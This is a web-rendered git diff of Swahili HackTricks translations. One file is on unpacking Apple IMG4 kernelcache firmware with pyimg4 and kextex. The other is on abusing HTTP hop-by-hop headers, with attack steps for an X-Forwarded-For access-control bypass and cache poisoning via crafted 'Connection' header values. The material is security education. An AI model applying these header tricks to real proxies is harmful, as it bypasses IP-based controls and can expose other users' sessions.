Muundo wa faili ya IMG4 ni muundo wa kontena unaotumiwa na Apple katika vifaa vyake vya iOS na macOS kwa ajili ya **kuhifadhi na kuthibitisha** vipengele vya firmware kwa usalama (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na lebo kadhaa ambazo zinafunga vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali za manifest. Muundo huu unasaidia uthibitisho wa kificho, ukiruhusu kifaa kuthibitisha ukweli na uadilifu wa kipengele cha firmware kabla ya kukitekeleza.
|
||||
Muundo wa faili ya IMG4 ni muundo wa kontena unaotumiwa na Apple katika vifaa vyake vya iOS na macOS kwa ajili ya **kuhifadhi na kuthibitisha kwa usalama** vipengele vya firmware (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na lebo kadhaa ambazo zinafunga vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali za manifest. Muundo huu unasaidia uthibitisho wa kificho, ukiruhusu kifaa kuthibitisha ukweli na uadilifu wa kipengele cha firmware kabla ya kukitekeleza.
|
||||
|
||||
Kwa kawaida unajumuisha vipengele vifuatavyo:
|
||||
Kwa kawaida inajumuisha vipengele vifuatavyo:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* Mara nyingi imekandamizwa (LZFSE4, LZSS, …)
|
||||
* Inaweza kuwa na usimbaji
|
||||
* Inaweza kuwa na usimbuaji
|
||||
* **Manifest (IM4M)**:
|
||||
* Inajumuisha Saini
|
||||
* Kamusi ya Kifunguo/Thamani ya ziada
|
||||
|
@ -99,7 +99,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
Katika [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) inawezekana kupata vifaa vyote vya ufuatiliaji wa kernel. Unaweza kuvipakua, kuvifungua, kuvifungua kwa kutumia zana ya [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), kufikia folda ya **`.kext`** na **kuvitoa**.
|
||||
Katika [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) inawezekana kupata vifaa vyote vya ufuatiliaji wa kernel. Unaweza kuvipakua, kuviweka, kuviweka wazi kwa kutumia zana ya [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), kufikia folda ya **`.kext`** na **kuvitoa**.
|
||||
|
||||
Angalia kwa alama na:
|
||||
```bash
|
||||
|
@ -109,7 +109,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
|||
|
||||
Wakati mwingine Apple inatoa **kernelcache** yenye **symbols**. Unaweza kupakua firmware kadhaa zenye symbols kwa kufuata viungo kwenye kurasa hizo. Firmware zitakuwa na **kernelcache** pamoja na faili nyingine.
|
||||
|
||||
Ili **extract** faili, anza kwa kubadilisha kiambishi kutoka `.ipsw` kuwa `.zip` na **unzip** hiyo.
|
||||
Ili **extract** faili, anza kwa kubadilisha kiendelezi kutoka `.ipsw` hadi `.zip` na **unzip**.
|
||||
|
||||
Baada ya kutoa firmware utapata faili kama: **`kernelcache.release.iphone14`**. Iko katika muundo wa **IMG4**, unaweza kutoa taarifa muhimu kwa kutumia:
|
||||
|
||||
|
@ -131,7 +131,7 @@ Angalia ikiwa kernelcache ina alama za
|
|||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Na hii sasa tunaweza **kutoa nyongeza zote** au **ile unayovutiwa nayo:**
|
||||
Na hii sasa tunaweza **kuchota nyongeza zote** au **ile unayovutiwa nayo:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -144,6 +144,10 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Debugging
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
|
@ -158,7 +162,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# hop-by-hop headers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,38 +15,58 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Hii ni muhtasari wa chapisho [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hop-by-hop headers ni maalum kwa muunganisho mmoja wa kiwango cha usafirishaji, zinazotumika hasa katika HTTP/1.1 kwa usimamizi wa data kati ya nodi mbili (kama mteja-proxy au proxy-proxy), na hazikusudiwi kupelekwa. Hop-by-hop headers za kawaida ni pamoja na `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, na `Proxy-Authenticate`, kama ilivyoainishwa katika [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Headers za ziada zinaweza kutengwa kama hop-by-hop kupitia header ya `Connection`.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
**Hii ni muhtasari wa chapisho** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
|
||||
|
||||
Hop-by-hop headers ni maalum kwa muunganisho mmoja wa kiwango cha usafirishaji, zinazotumika hasa katika HTTP/1.1 kwa usimamizi wa data kati ya nodi mbili (kama mteja-proxy au proxy-proxy), na hazikusudiwi kuhamasishwa. Hop-by-hop headers za kawaida ni pamoja na `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, na `Proxy-Authenticate`, kama ilivyoainishwa katika [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Headers za ziada zinaweza kutengwa kama hop-by-hop kupitia header ya `Connection`.
|
||||
|
||||
### Abusing Hop-by-Hop Headers
|
||||
|
||||
Usimamizi usiofaa wa hop-by-hop headers na proxies unaweza kusababisha masuala ya usalama. Ingawa proxies zinatarajiwa kuondoa headers hizi, si zote hufanya hivyo, na kuunda uwezekano wa udhaifu.
|
||||
|
||||
### Testing for Hop-by-Hop Header Handling
|
||||
Usimamizi wa hop-by-hop headers unaweza kupimwa kwa kuangalia mabadiliko katika majibu ya seva wakati headers maalum zimewekwa kama hop-by-hop. Zana na scripts zinaweza kuendesha mchakato huu, zikibaini jinsi proxies zinavyosimamia headers hizi na kwa uwezekano kufichua mipangilio isiyo sahihi au tabia za proxy.
|
||||
|
||||
Kukandamiza hop-by-hop headers kunaweza kusababisha athari mbalimbali za usalama. Hapa kuna mifano kadhaa inayoonyesha jinsi headers hizi zinavyoweza kubadilishwa kwa mashambulizi yanayoweza kutokea:
|
||||
Usimamizi wa hop-by-hop headers unaweza kupimwa kwa kuangalia mabadiliko katika majibu ya seva wakati headers maalum zimewekwa kama hop-by-hop. Zana na skripti zinaweza kuendesha mchakato huu, zikibaini jinsi proxies zinavyosimamia headers hizi na kwa uwezekano kufichua makosa au tabia za proxy.
|
||||
|
||||
Kukandamiza hop-by-hop headers kunaweza kusababisha athari mbalimbali za usalama. Hapa kuna mifano miwili inayoonyesha jinsi headers hizi zinavyoweza kudhibitiwa kwa mashambulizi yanayoweza kutokea:
|
||||
|
||||
### Bypassing Security Controls with `X-Forwarded-For`
|
||||
Mshambuliaji anaweza kubadilisha header ya `X-Forwarded-For` ili kupita vizuizi vya ufikiaji vinavyotegemea IP. Header hii mara nyingi hutumiwa na proxies kufuatilia anwani ya IP ya mteja. Hata hivyo, ikiwa proxy inachukulia header hii kama hop-by-hop na kupeleka bila uthibitisho sahihi, mshambuliaji anaweza kuiga anwani yake ya IP.
|
||||
|
||||
Mshambuliaji anaweza kudhibiti header ya `X-Forwarded-For` ili kupita vizuizi vya ufikiaji vinavyotegemea IP. Header hii mara nyingi hutumiwa na proxies kufuatilia anwani ya IP ya mteja. Hata hivyo, ikiwa proxy inachukulia header hii kama hop-by-hop na kuhamasisha bila uthibitisho sahihi, mshambuliaji anaweza kuiga anwani yake ya IP.
|
||||
|
||||
**Kasi ya Shambulio:**
|
||||
|
||||
1. Mshambuliaji anatumia ombi la HTTP kwa programu ya wavuti nyuma ya proxy, akijumuisha anwani ya IP bandia katika header ya `X-Forwarded-For`.
|
||||
2. Mshambuliaji pia anajumuisha header ya `Connection: close, X-Forwarded-For`, ikimlazimisha proxy kuchukulia `X-Forwarded-For` kama hop-by-hop.
|
||||
3. Proxy iliyo na mipangilio isiyo sahihi inaelekeza ombi kwa programu ya wavuti bila header ya `X-Forwarded-For` iliyopotoshwa.
|
||||
4. Programu ya wavuti, isiyoona header ya asili ya `X-Forwarded-For`, inaweza kuzingatia ombi kama likitoka moja kwa moja kutoka kwa proxy inayotegemewa, na hivyo kuruhusu ufikiaji usioidhinishwa.
|
||||
3. Proxy iliyo na makosa inahamisha ombi kwa programu ya wavuti bila header ya `X-Forwarded-For` iliyopotoshwa.
|
||||
4. Programu ya wavuti, isiyoona header ya asili ya `X-Forwarded-For`, inaweza kuzingatia ombi kama likitoka moja kwa moja kutoka kwa proxy iliyoaminika, na hivyo kuruhusu ufikiaji usioidhinishwa.
|
||||
|
||||
### Cache Poisoning via Hop-by-Hop Header Injection
|
||||
Ikiwa seva ya cache inahifadhi maudhui kwa njia isiyo sahihi kulingana na hop-by-hop headers, mshambuliaji anaweza kuingiza headers zenye uharibifu ili kuharibu cache. Hii itatoa maudhui yasiyo sahihi au yenye uharibifu kwa watumiaji wanaoomba rasilimali hiyo hiyo.
|
||||
|
||||
Ikiwa seva ya cache inahifadhi maudhui kwa makosa kulingana na hop-by-hop headers, mshambuliaji anaweza kuingiza headers zenye uharibifu ili kuharibu cache. Hii itatoa maudhui yasiyo sahihi au yenye uharibifu kwa watumiaji wanaoomba rasilimali hiyo hiyo.
|
||||
|
||||
**Kasi ya Shambulio:**
|
||||
|
||||
1. Mshambuliaji anatumia ombi kwa programu ya wavuti yenye header ya hop-by-hop ambayo haipaswi kuhifadhiwa (mfano, `Connection: close, Cookie`).
|
||||
2. Seva ya cache iliyo na mipangilio duni haiondoi header ya hop-by-hop na inahifadhi jibu maalum kwa kikao cha mshambuliaji.
|
||||
2. Seva ya cache iliyo na makosa haiondoi header ya hop-by-hop na inahifadhi jibu maalum kwa kikao cha mshambuliaji.
|
||||
3. Watumiaji wa baadaye wanaoomba rasilimali hiyo hiyo wanapata jibu lililohifadhiwa, ambalo lilikuwa limeandaliwa kwa mshambuliaji, na hivyo kuweza kusababisha kuibiwa kwa kikao au kufichuliwa kwa taarifa nyeti.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue